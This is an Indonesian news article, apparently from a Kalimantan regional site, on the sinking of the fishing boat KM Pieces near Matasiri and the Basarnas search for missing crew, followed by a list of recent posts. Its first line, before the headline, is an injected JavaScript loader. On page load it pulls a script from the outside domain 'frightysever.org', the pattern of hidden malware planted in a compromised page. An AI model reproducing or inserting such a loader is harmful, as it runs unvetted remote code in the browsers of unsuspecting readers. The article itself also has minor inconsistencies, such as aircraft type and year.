(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Evakuasi Terus Dilakukan, 4 Nelayan Tewas dan 31 Dilaporkan Hilang


KOTABARU, Empat korban tewas tenggelamnya KM Pieces di Perairan Matasiri, Kotabaru, Kalimantan Selatan (Kalsel) sudah dievakuasi ke Pekalongan, Jawa Tengah.

“Korban masih 6 orang, 2 selamat dan 4 tewas, saat ini sudah dievakuasi ke Pekalongan,” ujar Kepala Pelaksana Harian Basarnas Banjarmasin Endrow, Jumat (2/8).

Menurut Endrow, seluruh penumpang yang terdiri 1 nakhoda, 31 ABK, serta 5 orang siswa praktek juga diketahui berada di dalam kapal. “Jumlah keseluruhan itu 37 penumpang, termasuk 5 orang siswa praktek. Dari informasi, seluruhnya asal Pekalongan Jawa Tengah,” tambahnya.

Saat ini, lanjut Endrow, proses pencarian terus diupayakan oleh Basarnas bersama tim gabungan dari TNI AL dan KSOP Banjarmasin. Untuk memaksimalkan proses pencarian, sebuah pesawat Boeing 737 yang diterbangkan dari Lanud Makassar juga dikerahkan untuk mencari korban. “Kami juga sudah menggerakkan 1 unit pesawat udara Boeing 373 dukungan dari Lanud Hasanuddin Makassar,” ujar Endrow lagi.

Seperti diberitakan sebelumnya, KM Pieces yang bertolak dari Pekalongan menuju Selat Makassar untuk mencari ikan, dilaporkan tenggelam di Perairan Matasiri, Kalsel. Kapal baru diketahui 3 hari kemudian karena alat pemancar sinyal bahaya yang berada di dalam kapal diduga rusak.

“Basarnas punya alat atau sistem yang bisa menangkap sinyal bahaya dari kapal, Basarnas tidak bisa menangkap sinyal bahaya tersebut, diduga alat di kapal tersebut rusak,” ujar Endrow, Pelaksana Harian Basarnas Banjarmasin saat dihubungi Jumat (2/8) pagi tadi.

Seluruh korban kemudian dibawa ke Kotabaru, karena Kotabaru dekat dengan posisi tenggelamnya kapal. Menurut Endrow, saat ini, evakuasi sudah dilakukan tim gabungan dari Basarnas, TNI, dan KSOP Banjarmasin.

Untuk mendukung proses evakuasi, Basarnas Banjarmasin selaku koordinator pencarian, menerjunkan KN SAR Laksmana 241 dan RB 306 Banjarmasin dibantu 2 KRI, yakni KRI Hasan Basri 382 dan KRI Nuku 373.

KM Pieces rute Pekalongan-Selat Makassar tenggelam di perairan sekitar Pulau Matasiri, Rabu (31/7). Kapal nelayan itu mengangkut 37 anak buah kapal (ABK). KM Pieces dinahkodai oleh Nasori beralamat Sido Mukti Gang 14 Nomor 2, Pekalongan Utara, Pekalongan Kota, Provinsi Jawa Tengah.

Basarnas melaporkan KM Pieces terakhir dikontak melalui Radio, Minggu, 28 Juli 2019, sekitar pukul 17.00 WIB. “Saat itu kapal masih dalam kondisi baik-baik saja,” tegas dia.

Pada Rabu, 31 Juli 2018, sekitar pukul 10.00 WIB, KM Bintang Mas Delima, nahkoda Semar menemukan ABK 4 orang dengan kondisi 2 orang selamat dan 2 orang lainnya meninggal dunia. 2 orang selamat tadi atas nama Muhammad Samlawi dan Bambang Subagio.

Sementara itu, armada yang ikut dalam operasi SAR, di antaranya KN. SAR Laksamana, RB 306 Banjarmasin, KM. Bintang Mas Delima, KM. Rezeki Utama. Informasi selanjutnya, hasil koordinasi dengan Danlanal Banjarmasin telah digerakkan 2 unit KRI yaitu KRI Hasan Basry 382 dan KRI Nuku 373.

“Kebetulan sedang berada disekitar perairan Selat Makasar untuk bergerak ke LKP. Lalu, diupayakan untuk melaksanakan penjemputan terhadap korban yang saat ini ditampung di KM. Rezeky Utama,” jelas Endrow. (cel/net)

Reporter : Cel/net
Editor : Chell

Desy Arfianty

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

56 menit ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

1 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

5 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

5 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

6 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

6 jam ago

This website uses cookies.